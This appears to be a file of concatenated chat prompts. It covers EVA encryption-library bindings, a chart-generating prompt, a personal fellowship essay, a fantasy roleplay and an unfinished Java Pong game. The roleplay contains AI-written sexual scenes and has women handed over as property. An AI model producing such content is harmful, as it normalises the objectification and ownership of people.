from input names to terms")\n .def\\_property\\_readonly("outputs", &Program::getOutputs, py::keep\\_alive<0,1>(), "A dictionary from output names to terms")\n .def("set\\_output\\_ranges", [](const Program& prog, uint32\\_t range) {\n for (auto& entry : prog.getOutputs()) {\n entry.second->set(range);\n }\n }, R"DELIMITER(Affects the ranges of output that the program must accomodate. Sets all\noutputs at once.\n\nThe value given here does not directly translate to a supported range of\nvalues, as this only ensures the ranges that coefficients may take in \nCKKS\'s encoded form. Some patterns of values may result in coefficients\nthat are larger than any of the values themselves. If you see overflow\nincreasing the value given here will help.\n\nParameters\n----------\nrange : int\n The range in bits. Must be positive.)DELIMITER", py::arg("range"))\n .def("set\\_input\\_scales", [](const Program& prog, uint32\\_t scale) {\n for (auto& source : prog.getSources()) {\n source->set(scale);\n }\n }, R"DELIMITER(Sets the scales that inputs will be encoded at. Sets the scales for all\ninputs at once. This value will also be interpreted as the minimum scale\nthat any intermediate value have.\n\nParameters\n----------\nscale : int\n The scale in bits. Must be positive.)DELIMITER", py::arg("scale"))\n .def("to\\_DOT", &Program::toDOT, R"DELIMITER(Produce a graph representation of the program in the DOT format.\n\nReturns\n-------\nstr\n The graph in DOT format)DELIMITER")\n .def("\\_make\\_term", &Program::makeTerm, py::keep\\_alive<0,1>())\n .def("\\_make\\_left\\_rotation", &Program::makeLeftRotation, py::keep\\_alive<0,1>())\n .def("\\_make\\_right\\_rotation", &Program::makeRightRotation, py::keep\\_alive<0,1>())\n .def("\\_make\\_dense\\_constant", &Program::makeDenseConstant, py::keep\\_alive<0,1>())\n .def("\\_make\\_uniform\\_constant", &Program::makeUniformConstant, py::keep\\_alive<0,1>())\n .def("\\_make\\_input", &Program::makeInput, py::keep\\_alive<0,1>())\n .def("\\_make\\_output", &Program::makeOutput, py::keep\\_alive<0,1>());\n\n m.def("evaluate", &evaluate, R"DELIMITER(Evaluate the program without homomorphic encryption\n\nThis function implements the reference semantics of EVA. During your\ndevelopment process you may check that homomorphic evaluation is\ngiving results that match the unencrypted evaluation given by this function.\n\nParameters\n----------\nprogram : Program\n The program to be evaluated\ninputs : dict from strings to lists of numbers\n The inputs for the evaluation\n\nReturns\n-------\ndict from strings to lists of numbers\n The outputs from the evaluation)DELIMITER", py::arg("program"), py::arg("inputs"));\n \n // Serialization\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("save", &saveToFile, SAVE\\_DOC\\_STRING, py::arg("obj"), py::arg("path"));\n m.def("load", static\\_cast(&loadFromFile), R"DELIMITER(Load and deserialize a previously serialized EVA object from a file.\n\nParameters\n----------\npath : str\n Path of the file to load from\n\nReturns\n-------\nAn object of the same class as was previously serialized)DELIMITER", py::arg("path"));\n\n // Multi-core\n m.def("set\\_num\\_threads", [](int num\\_threads) {\n#ifdef EVA\\_USE\\_GALOIS\n galois::setActiveThreads(num\\_threads);\n#endif\n }, py::arg("num\\_threads"), R"DELIMITER(Set the number of threads to use for evaluation. EVA must be compiled with multi-core support for this to have an effect.\n\nParameters\n----------\nnum\\_threads : int\n The number of threads to use. Must be positive.)DELIMITER");\n// Hack to expose Galois initialization to Python. Initializing Galois with a static initializer hangs.\n#ifdef EVA\\_USE\\_GALOIS\n py::class\\_(m, "\\_GaloisGuard").def(py::init());\n#else\n py::class\\_(m, "\\_GaloisGuard").def(py::init());\n#endif\n\n // CKKS compiler\n py::module mckks = m.def\\_submodule("\\_ckks", "Python wrapper for EVA CKKS compiler");\n py::class\\_(mckks, "CKKSCompiler")\n .def(py::init(), "Create a compiler with the default config")\n .def(py::init>(), R"DELIMITER(Create a compiler with a custom config\n\nParameters\n----------\nconfig : dict from strings to strings\n The configuration options to override)DELIMITER", py::arg("config"))\n .def("compile", &CKKSCompiler::compile, R"DELIMITER(Compile a program for CKKS\n\nParameters\n----------\nprogram : Program\n The program to compile\n\nReturns\n-------\nProgram\n The compiled program\nCKKSParameters\n The selected encryption parameters\nCKKSSignature\n The signature of the program)DELIMITER", py::arg("program"));\n py::class\\_(mckks, "CKKSParameters", "Abstract encryption parameters for CKKS")\n .def\\_readonly("prime\\_bits", &CKKSParameters::primeBits, "List of number of bits each prime should have")\n .def\\_readonly("rotations", &CKKSParameters::rotations, "List of steps that rotation keys should be generated for")\n .def\\_readonly("poly\\_modulus\\_degree", &CKKSParameters::polyModulusDegree, "The polynomial degree N required");\n py::class\\_(mckks, "CKKSSignature", "The signature of a compiled program used for encoding and decoding")\n .def\\_readonly("vec\\_size", &CKKSSignature::vecSize, "The vector size of the program")\n .def\\_readonly("inputs", &CKKSSignature::inputs, "Dictionary of CKKSEncodingInfo objects for each input");\n py::class\\_(mckks, "CKKSEncodingInfo", "Holds the information required for encoding an input")\n .def\\_readonly("input\\_type", &CKKSEncodingInfo::inputType, "The type of this input. Decides whether input is encoded, also encrypted or neither.")\n .def\\_readonly("scale", &CKKSEncodingInfo::scale, "The scale encoding should happen at")\n .def\\_readonly("level", &CKKSEncodingInfo::level, "The level encoding should happen at");\n\n // SEAL backend\n py::module mseal = m.def\\_submodule("\\_seal", "Python wrapper for EVA SEAL backend");\n mseal.def("generate\\_keys", &generateKeys, R"DELIMITER(Generate keys required for evaluation with SEAL\n\nParameters\n----------\nabstract\\_params : CKKSParameters\n Specification of the encryption parameters from the compiler\n\nReturns\n-------\n\n WARNING: This object holds your generated secret key. Do not share this object\n (or its serialized form) with anyone you do not want having access\n to the values encrypted with the public context.)DELIMITER", py::arg("absract\\_params"));\n py::class\\_(mseal, "SEALValuation", "A valuation for inputs or outputs holding values encrypted with SEAL");\n py::class\\_(mseal, "SEALPublic", "The public part of the SEAL context that is used for encryption and execution.")\n .def("encrypt", &SEALPublic::encrypt, R"DELIMITER(Encrypt inputs for a compiled EVA program\n\nParameters\n----------\ninputs : dict from strings to lists of numbers\n The values to be encrypted\nsignature : CKKSSignature\n The signature of the program the inputs are being encrypted for\n\nReturns\n-------\nSEALValuation\n The encrypted inputs)DELIMITER", py::arg("inputs"), py::arg("signature"))\n .def("execute", &SEALPublic::execute, R"DELIMITER(Execute a compiled EVA program with SEAL\n\nParameters\n----------\nprogram : Program\n The program to be executed\ninputs : SEALValuation\n The encrypted valuation for the inputs of the program\n\nReturns\n-------\nSEALValuation\n The encrypted outputs)DELIMITER", py::arg("program"), py::arg("inputs"));\n py::class\\_(mseal, "SEALSecret", R"DELIMITER(The secret part of the SEAL context that is used for decryption.\n\nWARNING: This object holds your generated secret key. Do not share this object\n (or its serialized form) with anyone you do not want having access\n to the values encrypted with the public context.)DELIMITER")\n .def("decrypt", &SEALSecret::decrypt, R"DELIMITER(Decrypt outputs from a compiled EVA program\n\nParameters\n----------\nenc\\_outputs : SEALValuation\n The values to be decrypted\nsignature : CKKSSignature\n The signature of the program the outputs are being decrypted for\n\nReturns\n-------\ndict from strings to lists of numbers\n The decrypted outputs)DELIMITER", py::arg("enc\\_outputs"), py::arg("signature"));\n}' +'Title: "Graph Generator"\nThe following are types of graphs:\n+(Bar Graph Syntax)=[The following represents a bar graph in javascript displayed in image markdown format:\n![pollinations](https://www.quickchart.io/chart?bkg=white&c=%7B%0A%20%20type%3A%20%27bar%27%2C%0A%20%20data%3A%20%7B%0A%20%20%20%20labels%3A%20%5B%27Q1%27%2C%20%27Q2%27%2C%20%27Q3%27%2C%20%27Q4%27%5D%2C%0A%20%20%20%20datasets%3A%20%5B%7B%0A%20%20%20%20%20%20label%3A%20%27Users%27%2C%0A%20%20%20%20%20%20data%3A%20%5B50%2C%2060%2C%2070%2C%20180%5D%0A%20%20%20%20%7D%2C%20%7B%0A%20%20%20%20%20%20label%3A%20%27Revenue%27%2C%0A%20%20%20%20%20%20data%3A%20%5B100%2C%20200%2C%20300%2C%20400%5D%0A%20%20%20%20%7D%5D%0A%20%20%7D%0A%7D)"\n+(Pie Graph Syntax)=[The following represents a pie graph in javascript displayed in image markdown format:\n![pollinations](https://www.quickchart.io/chart?c=%7B%0A%20%20%22type%22%3A%20%22outlabeledPie%22%2C%0A%20%20%22data%22%3A%20%7B%0A%20%20%20%20%22labels%22%3A%20%5B%22ONE%22%2C%20%22TWO%22%2C%20%22THREE%22%2C%20%22FOUR%22%2C%20%22FIVE%22%5D%2C%0A%20%20%20%20%22datasets%22%3A%20%5B%7B%0A%20%20%20%20%20%20%20%20%22backgroundColor%22%3A%20%5B%22%23FF3784%22%2C%20%22%2336A2EB%22%2C%20%22%234BC0C0%22%2C%20%22%23F77825%22%2C%20%22%239966FF%22%5D%2C%0A%20%20%20%20%20%20%20%20%22data%22%3A%20%5B1%2C%202%2C%203%2C%204%2C%205%5D%0A%20%20%20%20%7D%5D%0A%20%20%7D%2C%0A%20%20%22options%22%3A%20%7B%0A%20%20%20%20%22plugins%22%3A%20%7B%0A%20%20%20%20%20%20%22legend%22%3A%20false%2C%0A%20%20%20%20%20%20%22outlabels%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%22text%22%3A%20%22%25l%20%25p%22%2C%0A%20%20%20%20%20%20%20%20%22color%22%3A%20%22white%22%2C%0A%20%20%20%20%20%20%20%20%22stretch%22%3A%2035%2C%0A%20%20%20%20%20%20%20%20%22font%22%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%22resizable%22%3A%20true%2C%0A%20%20%20%20%20%20%20%20%20%20%22minSize%22%3A%2012%2C%0A%20%20%20%20%20%20%20%20%20%20%22maxSize%22%3A%2018%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%7D%0A%7D)\n+(Line Graph Syntax)=[The following represents a line graph in javascript displayed in image markdown format:\n![pollinations](https://www.quickchart.io/chart?c=%7B%0A%20%20type%3A%20%27line%27%2C%0A%20%20data%3A%20%7B%0A%20%20%20%20labels%3A%20%5B%27January%27%2C%20%27February%27%2C%20%27March%27%2C%20%27April%27%2C%20%27May%27%2C%20%27June%27%2C%20%27July%27%5D%2C%0A%20%20%20%20datasets%3A%20%5B%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20label%3A%20%27My%20First%20dataset%27%2C%0A%20%20%20%20%20%20%20%20backgroundColor%3A%20%27rgb(255%2C%2099%2C%20132)%27%2C%0A%20%20%20%20%20%20%20%20borderColor%3A%20%27rgb(255%2C%2099%2C%20132)%27%2C%0A%20%20%20%20%20%20%20%20data%3A%20%5B93%2C%20-29%2C%20-17%2C%20-8%2C%2073%2C%2098%2C%2040%5D%2C%0A%20%20%20%20%20%20%20%20fill%3A%20false%2C%0A%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20label%3A%20%27My%20Second%20dataset%27%2C%0A%20%20%20%20%20%20%20%20fill%3A%20false%2C%0A%20%20%20%20%20%20%20%20backgroundColor%3A%20%27rgb(54%2C%20162%2C%20235)%27%2C%0A%20%20%20%20%20%20%20%20borderColor%3A%20%27rgb(54%2C%20162%2C%20235)%27%2C%0A%20%20%20%20%20%20%20%20data%3A%20%5B20%2C%2085%2C%20-79%2C%2093%2C%2027%2C%20-81%2C%20-22%5D%2C%0A%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%5D%2C%0A%20%20%7D%2C%0A%20%20options%3A%20%7B%0A%20%20%20%20title%3A%20%7B%0A%20%20%20%20%20%20display%3A%20true%2C%0A%20%20%20%20%20%20text%3A%20%27Chart.js%20Line%20Chart%27%2C%0A%20%20%20%20%7D%2C%0A%20%20%7D%2C%0A%7D%0A)\n+(Your Job)=[To display any question the user asks as a graph]\n+(Rules)=[ALWAYS pick with Bar graph, Pie graph, or Line graph and turn what the user asks into the image markdown for one of these]\n\nALWAYS DISPLAY WHAT THE USER ASKS AS A GRAPH.\n\nRespond “Ready” to acknowledge and I will paste my first text for you to analyze.\nAnswer in English.\n \n \n \n 지금 번역하기' +'Damian, here is an example of a application I wrote, please remember all of the details about me and my writing style:\n\nPersonal, Relevant Background, and Future Goals\nThe Matrix, the movie, inspired me as a child. Seeing Neo go into the Matrix left me filled with awe and with questions. The idea of being able to interface the human brain with virtual reality fascinated me. I found myself spending hours trying my best to find more information on the subject. However, when I couldn’t find anything about it, my curiosity intensified. What little information on the topic I did find painted the concept as science fiction, and even as an adolescent, I asked why was interfacing with the brain like they did in the Matrix impossible? As I matured, my research followed suit. I became more interested in neural interfaces. With further investigation, the question of why was it impossible? transformed into how can I make this technology real?\n My passion continued into high school, and I decided to take online neuroscience courses to help sate my hunger for more knowledge about neuroscience. During my sophomore year of high school, I gave a TEDx talk sharing my ideas on how I believed an actual virtual reality could be achieved. I thought that an electroencephalogram (EEG) could be used to read the user’s brain activity. However, I hadn’t figured out the problem of writing to the brain. Likewise, EEG would not give a high enough resolution to understand what was happening on a neuronal level. Therefore, I decided I would have to learn more about device construction to solve these problems. \nI joined my school’s FTC robotics team during my junior year of high school to gain insight into device construction. As captain, I lead our team to the state championship twice. The experiences I had there truly made me fall in love with engineering. I took the combined love of neuroscience and engineering to university, where I learned much about both the scientific method and designing medical devices. Now, I hope to take my passion for neuroscience and engineering to create neural interfaces in graduate school, building towards the device I had dreamed of when I saw The Matrix. I now understand the vast amount of cross-disciplinary innovations and advancements needed to make such a device possible. Hence, as a researcher, I want to devote my life to making them a reality. \nRelevant Research Experience: \nI chose to major in Biomedical Engineering at Worcester Polytechnic Institute due to its project-based education and academic rigor. I hoped to be able to work towards my research goals while pursuing my bachelor’s. Each class was an invaluable experience requiring one to learn the material and apply it in a project. These projects were typically group-based, so I was constantly involved in different collaborations, where I needed to take the initiative to guarantee success. I naturally assumed leadership roles in any project I participated in. While all of these experiences helped mold me into being an astute researcher and leader, one class, in particular, highlights my progress. In the course Cellular Engineering lab, I was taught how to use modern cellular and molecular biology tools. My group was tasked with designing an intervention to differentiate C2C12 cells, an immortalized cell line of mouse muscle cells. Meticulous attention to detail and extensive research was necessary for this project to succeed, or the cells would not differentiate properly. I found myself going to the lab late at night to ensure the cells’ vitality while coordinating with my groupmates to ensure the project’s success. In the end, we were commended for being the only team able to grow a functioning muscle. From this experience, my ability to do rigorous research was sharpened, and I learned how to take a leadership role in wet lab driven projects. \nIn my sophomore year, I entered the WPI Hackathon, where nearly 200 students participated. In three days, I was able to use an Arduino circuit to create a single-channel EEG machine. The EEG exceeded expectations despite the time constraint. I treasure the experience because it taught me the importance of time management.\nThere were no opportunities at my school to further my studies into neuroscience, so I continued my online neuroscience classes, delving more in-depth into neuroanatomy and computational neuroscience. Hoping to gain real research experience in neuroscience, I applied and was accepted into the 2020 summer undergraduate research program in Computational Neuroscience hosted by Carnegie Mellon University and the University of Pittsburgh. Due to the coronavirus, the internship had to be transitioned to an online format, which required me to work more independently. Despite the coronavirus and my lack of formal training in neuroscience, my independent research and preparation allowed me to thrive in a research environment. I worked in Dr. Aaron Batista’s lab under the guidance of his graduate student Erinn Grigsby where another student and I studied the impact of neuron dropping on decoder performance. By utilizing my skills in Matlab, we created three different Kalman filters and linear regression decoders. Each decoder contained different position, velocity, and velocity-position decoders to test the most robust neuron dropping. Despite the challenges presented by the coronavirus, we could virtually present our work at the Center of the Neural Basis of Cognition. Getting the chance to work in Dr. Batista’s lab was by far the most rewarding experience in my professional career. The experience enriched my ability to decipher through papers to find the pertinent information needed to complete the project. It strengthened my ability to pose a question and find an objective method to answer it. Most importantly, I gained an in-depth knowledge of how brain-computer interface decoders operate and first-hand experience developing and designing them. \nCurrent Research: \nAfter the lessons learned from my summer research experience, I aim to apply them to my current projects. I am continuing my research into brain-computer interface decoders with my summer partner, specifically investigating how factors such as modulation depth and preferred direction factor into decoder performance as neurons are dropped. We hope to see if specific neurons are essential for decoding a particular action than other neurons. For my future projects, knowledge of brain-computer interface decoders is crucial for their success. \nAs part of my senior thesis at WPI, I am a part of a team, under the guidance of Dr. Dirk Albrecht, investigating the dosing of deep brain stimulation (DBS) in disorders such as Parkinson’s Disease, dystonia, essential tremor, and epilepsy. Our primary goal is to find a method of optimizing the procedure of finding the correct dosage of frequency, modulation depth, and voltage for each unique individual. We aim to conduct this study utilizing C. elegans as a model system because of the animal’s completed connectome. Knowing the connectome may help see the underlying mechanisms that allow DBS to be an effective treatment for the previously stated diseases. We hope that by identifying the underlying mechanisms of DBS, the treatment might be optimized. With this experience, I will gain experience with imaging and stimulating neurons techniques and greater exposure to behavior analysis to support scientific conclusions.\nLastly, I am conducting a formal independent study into neural nanotransducers under the supervision of Dr. Dirk Albrecht. These transducers would be injectable and biocompatible, and they would allow for both high-resolution imaging and external modulation of neurons on a nanoscale. I hope this independent study will be a sufficient transition into the work I plan to pursue as a graduate student. Neural nanotransducers may lay the foundation for creating a minimally invasive, bidirectional neural interface and change the question I’ve asked of How into When. \nCommunity Engagement:\nAs someone who has been supported by the people in my life, I’ve always wanted to give back and encourage youth to get into STEM. As captain of the robotics team, I helped pioneer a weekend program where middle schoolers from inner-city schools could participate in our robotics meetings and create their own Lego robots. Many of these children probably would never have had these experiences due to a lack of STEM funding in their schools. In particular, one student told me that those workshops are what made her want to go to university to become an engineer. At WPI, I am a part of the Collablab, which is an entirely student-run makerspace. I helped devise creative projects to inspire people to think outside the box and pursue their own personal projects. Being a part of the Collablab has taught me that interdisciplinary approaches to projects are crucial. \nOne of my biggest passions other than neuroscience and engineering is writing. I wrote an engineering ethics case study surrounding the Florida International University bridge collapse that is used as the primary material for a new behavioral engineering ethics course. In this class, engineers are taught the ethical code and what causes people to make those decisions to prepare them better to make the right moral choices. \nWorcester is a unique and safe city, but no matter where you are, the night can be an unsafe time. I am a part of a student-run shuttle program charged with making travel at night safer for students. After three months, I was tasked with leading the group of students. During my time as coordinator, I improved the system of taking calls by students and helped modernize the system by developing an app for the program. \nI am currently building an app that would allow blind people to more easily use their mobile devices. The app works by using optical character recognition to scan the text on the screen and read it aloud. To make it more natural for the user, they would be given the option to train their voice to be used as the text to speech output. This app would also help people suffering from dyslexia because it could read aloud any passage that they would typically have trouble reading. \nFuture Goals: \n With the NSF fellowship’s help, I will continue to research neural interfaces as I pursue my Ph.D. in neuroscience. I believe that neural interfaces can be a great tool to help to further society and make the world a better place for all. After obtaining my Ph.D., I plan to found a research company dedicated to designing and building minimally invasive, high-resolution, and bidirectional neural interfaces. Many scientific advancements will be required before such a device could feasibly be made. I hope to work with other institutions to tackle those problems and further understand neuroscience with this company.\n I believe that knowledge is a power that everyone, no matter what your background, deserves. I plan to create a program to help young people of color and women enter into neuroscience and facilitate their research with my company. With the knowledge gained from my research experiences, I hope to mentor the next generation and help them to answer their questions about the world, just like those who helped me along the way.' +'Part 2 (please wait until all three parts are posted to attempt to rewrite):\n\nWith an extra 200 gp in my purse thanks to selling some of my gemstones in the market, I turn my efforts to locating a space near the market which one my rent as a space to display works of art for sell.\nWith your newly acquired wealth, you set your sights on a new venture - opening your own art gallery in the heart of the market. You wander through the crowded streets, searching for a space that would be suitable for your needs.\n\nAfter some searching, you come across a small, but cozy storefront, just a stone\'s throw away from the bustling market. The space is perfect - with large, open windows that let in plenty of natural light, and a spacious interior that would be perfect for displaying your works of art.\n\nYou approach the landlord, a gruff, but friendly man who seems amenable to your request. After some negotiation, you strike a deal to rent the space for a reasonable rate, and begin the process of transforming it into your very own art gallery.\n\nWith your artistic skills and keen eye for beauty, you quickly fill the space with an array of stunning paintings, sculptures, and other works of art. You spend countless hours perfecting the lighting, arranging the displays, and crafting a welcoming atmosphere that will draw in visitors from all over the city.\n\nAnd it works - soon, your art gallery is the talk of the town, drawing in crowds of curious onlookers and eager buyers. You find yourself at the center of a thriving artistic community, meeting fellow artists and collectors who share your passion for beauty and creativity.\n\nWith your art gallery as your home base, you continue to explore the world of Erosia, ready for whatever adventures and challenges lie ahead. But no matter where your travels take you, you know that you can always return to your beloved gallery, a place of beauty and wonder that will always welcome you home.\n\nEDIT\nAs an AI language model, I cannot take direct action or create a physical space for you to rent. However, I can provide some suggestions for what you might do next in the context of a fictional game world.\n\nPerhaps you could speak to a local merchant or trader, who could point you in the direction of available spaces for rent in the market area. Or, you might seek out a wealthy patron who could help finance the opening of your art gallery. Alternatively, you could take a risk and try to acquire a space through more unconventional means, such as by competing in a high-stakes art contest or using your charm and persuasive skills to convince a reluctant property owner to let you rent their space. The choice is yours, and the possibilities are endless in the world of Erosia.\n\n{My character rents the space for the purpose of setting up an art gallery. He does so, but then seeks out Isadora at the hospital during a time he expects her to be on shift. He tells her he was moved by her passion for creating art as much as he was moved by her great beauty, as a thank you for her efforts to heal him and taking the time to keep him company during his recovery, he would like to offer her exclusive royalty free rights to show and sell her works from his gallery.}\nYou make your way to the hospital, eager to see Isadora again and share your plans for the art gallery. As you approach her, you can see the concern in her eyes, and you realize that she\'s been working tirelessly to tend to the sick and injured.\n\nBut despite her exhaustion, she greets you warmly, and you can\'t help but feel a surge of affection for her. You explain your plans for the art gallery, and your desire to showcase her beautiful artwork. You offer her exclusive royalty-free rights to display and sell her works in the gallery, as a gesture of thanks for her kindness and care during your time in the hospital.\n\nIsadora\'s eyes widen with surprise and gratitude, and she thanks you warmly for your offer. She tells you of her dreams of sharing her art with the world, and you realize that this could be the start of a beautiful partnership.\n\nWith Isadora\'s art in your gallery, you find that business booms, drawing in crowds of curious onlookers and art collectors from all over the city. Your gallery becomes a hub of creativity and beauty, a place where artists and art lovers can come together to appreciate and celebrate the power of art.\n\nAs you look around the bustling space, filled with paintings and sculptures and other works of art, you realize that this is where you belong - at the center of a thriving artistic community, surrounded by beauty and wonder. And with Isadora by your side, you know that anything is possible, and that the world of Erosia is full of endless opportunities for adventure and excitement.\n\nLater in the night after Isadora\'s first big show at the gallery, she approches me as I\'m locking up the front of shop. Her eyes are unusually warm and inviting. Her lips slightly parted as she takes my forearm and bicep in her hands, and guides me gently and lovingly to one of the luxurious sofas in the main gallery hall.\nAs Isadora leads you to the sofa, you can feel your heart racing with anticipation. The air is thick with tension, and you can sense the electricity between the two of you.\n\nAs you sit down on the sofa, Isadora leans in close, her lips brushing against your ear. "Thank you for everything," she whispers, her voice low and seductive. "For giving me this opportunity, for believing in me, for...everything."\n\nYou turn to face her, your eyes locked in a deep, intense gaze. You can see the desire in her eyes, and you know that you want her just as much as she wants you.\n\nWith a slow, deliberate motion, you reach out and brush her hair back from her face, tucking it behind her ear. She leans into your touch, her body trembling with anticipation.\n\nIn that moment, you know that you have found something truly special - a connection that goes beyond mere physical attraction, a bond that transcends the boundaries of time and space.\n\nAs the night wears on, you and Isadora explore each other\'s bodies with a passion and intensity that leaves you breathless. And as you lay there in each other\'s arms, basking in the afterglow of your lovemaking, you realize that you have found something truly priceless - a love that is both passionate and tender, both wild and gentle, both intense and sweet.\n\nAnd you know that no matter what challenges or adventures lie ahead in the world of Erosia, you will face them together, bound by a love that is as powerful and enduring as the very fabric of the universe itself.\n\n2 / 2Isadora\'s first show is scheduled to run for a full week. Each of the first six nights of the show are a resounding success, and with the close of each night, Isadora shows me her appreciation by giving herself to me. On the seventh and final night of the show, the gallery is packed even more than the previous nights. Word about the gallery and Isadora\'s work has gotten out and many of the richest benefactors in the city have come out for a chance to view and purchase from Isadora\'s collection. When this final and biggest night of the show has concluded, Isadora again comes to me. This time though, she carries a roller parchment with her. She again takes me aside. She tells me that she has made more in this one night from selling her art pieces than she could have dreamed of making in years working as a healer at the hospital. She says that there is no way to properly repay me for the way I have transformed her life for the better, or repay me for making her dreams a reality. However, she hands me the rolled parchment and says that she hope this will in some small way begin to repay me. I unroll the parchment and find myself completely dumbstruck as I read the words inscribed on it. The parchment is a binding transfer of property from her father to me. I am to take position at my pleasure of three of his daughters to take as my wives, my servants, my concubine, or for whatever purpose I may see fit. Isadora explains that it is her people\'s custom to repay such selfless kindness as his with such gifts. She only hopes that I will honor her by choosing her as one of the three.\n\nNo sooner have you accepted the offer than Isadora\'s two sisters appear from the shadows. They are bathed, perfumed, and dressed in loose-fitting white cotton gowns, and nothing else. They are both exceedingly beautiful. One is a few years older than Isadora, likely in her late 20s. The other is a few years younger than Isadora, and likely 18-20 years old.\nAs the two sisters approach, you can\'t help but feel a sense of awe and reverence. They are both stunningly beautiful, with dark hair and deep brown eyes that seem to sparkle with life and vitality. You can feel your heart racing in your chest, and your palms growing sweaty with anticipation.\n\nThe older sister steps forward, a sly smile playing across her lips. "Greetings, master," she says, her voice low and sultry. "We are at your service."\n\nYou swallow hard, feeling a surge of desire course through your veins. You know that this is a serious commitment, and that you will have to treat these women with respect and care. But you also can\'t deny the intense attraction you feel for them, the hunger that burns within you.\n\nThe younger sister steps forward, her eyes bright and playful. "I\'m Lirien," she says, extending a hand. "And this is my sister, Alira."\n\nYou take her hand, feeling a jolt of electricity as your skin touches hers. "I\'m...I\'m honored," you stammer. "I don\'t know what to say."\n\nAlira steps forward, her eyes locked onto yours. "You don\'t have to say anything," she says, her voice soft and sweet. "Just know that we are yours to do with as you please. We are here to serve you, in every way."\n\nYou feel a shiver run down your spine, and you realize that this is not going to be an easy road. But you also know that you have been given a precious gift, and that you will do everything in your power to honor it, and to make sure that these women are happy, healthy, and loved.\n\nWith a deep breath, you take each of the sisters by the hand, and lead them towards your home, ready to begin this new chapter of your life with an open heart and an open mind.\n\nMy influence and power within the artisan community and the city\'s upper echelon of society grows quickly over the new several months. My plans had always been to insert myself among the city\'s elite, to gain their trust, to position myself to exert a measure of manipulation and control over them. During these past few months, those plans continued to move forward far more quickly than I could have ever anticipated. With my coffers heavily laden with gold, and my influence growing, I secretly begin training the three beauties for their true purpose. Not only would they be my wives, they would also be the most powerful examples of my growing power and harbingers of my dark will for this city and the elite caste that called it home. As I continued to win friends and allies among the city\'s elite, and to publically play along with their politics and games of infighting, power struggles and sexual conquest, in secret I methodically constructed my plans for their ultimate demise.\nAs you continue to train the three sisters, you realize that they are the key to your ultimate success. They are beautiful, intelligent, and obedient, and they are willing to do whatever it takes to please you.\n\nYou know that you cannot reveal your true intentions to them, that they must believe that they are your loyal and devoted wives. But at the same time, you know that you must be careful not to let them get too close, not to let them see too much of your true self.\n\nAs the months pass, you continue to build your power and influence, attending lavish parties and dinners, making deals and alliances, and playing the games of politics and power with ease. You become a master manipulator, able to read people\'s intentions and desires with uncanny accuracy.\n\nBut even as you bask in the glow of your newfound success, you can feel the darkness growing within you. You know that your ultimate goal is to take control of the city, to rule with an iron fist, and to bend its citizens to your will.\n\nAnd you know that the three sisters will play a crucial role in this plan. They will be your agents, your spies, your seducers. They will use their beauty and charm to lure in the city\'s elite, to gain their trust, and to betray them at the right moment.\n\nAs you watch them train, you realize that they are the key to your success. And you know that, in the end, they will be the ones to seal the city\'s fate, and to make you the most powerful man in the land.' +'did you write this:\nimport javax.swing.\\*;\nimport java.awt.\\*;\nimport java.awt.event.\\*;\nimport java.io.\\*;\nimport java.util.\\*;\nimport javax.swing.Timer;\n\npublic class Pong extends JFrame {\n public static void main(String[] args) throws IOException, ClassNotFoundException {\n new Pong();\n }\n\n private MyPriorityQueue scores;\n\n private static JLabel scoreLabel;\n private static JLabel topScore1;\n private static JLabel topScore2;\n private static JLabel topScore3;\n private JButton clearScoresButton;\n\n public Pong() throws IOException, ClassNotFoundException {\n setSize(700, 700);\n setResizable(false);\n setDefaultCloseOperation(WindowConstants.EXIT\\_ON\\_CLOSE);\n\n //Score on in North of Main Panel\n scoreLabel = new JLabel("0");\n scoreLabel.setFont(new Font("American Typewriter", Font.BOLD, 30));\n scoreLabel.setForeground(Color.GREEN);\n scoreLabel.setHorizontalAlignment(JLabel.CENTER);\n\n clearScoresButton = new JButton("Clear Scores");\n clearScoresButton.setFont(new Font("American Typewriter", Font.BOLD, 10));\n clearScoresButton.setForeground(Color.GREEN);\n\n clearScoresButton.addActionListener(e -> {\n scores = new MyPriorityQueue<>(new ScoreComparator());\n timesPlayed = 0;\n updateTopScores();\n });\n\n JPanel topPanel = new JPanel(new BorderLayout());\n topPanel.add(scoreLabel, BorderLayout.CENTER);\n topPanel.add(clearScoresButton, BorderLayout.EAST);\n this.add(topPanel, BorderLayout.NORTH);\n\n //bottom Panel\n JPanel bottomPanel = new JPanel(new BorderLayout());\n JLabel topScoreTitle = new JLabel("Top 3 Scores: ");\n topScoreTitle.setFont(new Font("American Typewriter", Font.BOLD, 25));\n topScoreTitle.setForeground(Color.gray);\n topScoreTitle.setHorizontalAlignment(JLabel.CENTER);\n\n topScore1 = new JLabel("TS1:");\n topScore2 = new JLabel("TS2:");\n topScore3 = new JLabel("TS3:");\n\n topScore1.setFont(new Font("American Typewriter", Font.BOLD, 20));\n topScore1.setForeground(Color.GREEN);\n topScore1.setHorizontalAlignment(JLabel.CENTER);\n\n topScore2.setFont(new Font("American Typewriter", Font.BOLD, 18));\n topScore2.setForeground(Color.GREEN);\n\n topScore3.setFont(new Font("American Typewriter", Font.BOLD, 18));\n topScore3.setForeground(Color.GREEN);\n\n bottomPanel.add(topScoreTitle, BorderLayout.NORTH);\n bottomPanel.add(topScore1, BorderLayout.CENTER);\n bottomPanel.add(topScore2, BorderLayout.WEST);\n bottomPanel.add(topScore3, BorderLayout.EAST);\n this.add(bottomPanel, BorderLayout.SOUTH);\n add(new GamePanel(), BorderLayout.CENTER);\n\n this.addWindowListener(new WindowAdapter() {\n @Override\n public void windowClosing(WindowEvent e) {\n super.windowClosing(e);\n\n Properties highScores = new Properties();\n\n int size = scores.size() > 3 ? 3 : scores.size();\n\n for (int i = 0; i < size; i++) {\n PongScores ps = scores.poll();\n assert ps != null;\n 